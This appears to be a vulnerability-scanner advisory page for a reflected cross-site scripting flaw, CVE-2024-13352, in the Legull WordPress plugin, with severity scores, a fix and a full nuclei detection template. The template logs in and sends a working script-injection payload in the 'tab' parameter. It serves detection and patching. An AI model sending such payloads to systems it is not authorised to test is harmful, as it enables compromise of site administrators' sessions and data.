Legull WordPress - Cross-Site Scripting

highseverity

7.1CVSS score

0.6%likelihood of exploitation, next 30 days

47%of all CVEs are less likely

Readycheck to confirm it

Legull WordPress plugin <= 1.2.2 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to click malicious link.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=legull_terms&tab=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`")

Run it with nuclei: nuclei -id CVE-2024-13352 -u <target>

The full check

id: CVE-2024-13352

info:
  name: Legull WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Legull WordPress plugin <= 1.2.2 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to click malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/2c141cc0-f79e-42bd-97a6-98829647104c/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-13352
    cwe-id: CWE-79
    epss-score: 0.00561
    epss-percentile: 0.47038
    cpe: cpe:2.3:a:alwayscurious:legull:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,wordpress,wp-plugin,xss,legull

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=legull_terms&tab=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from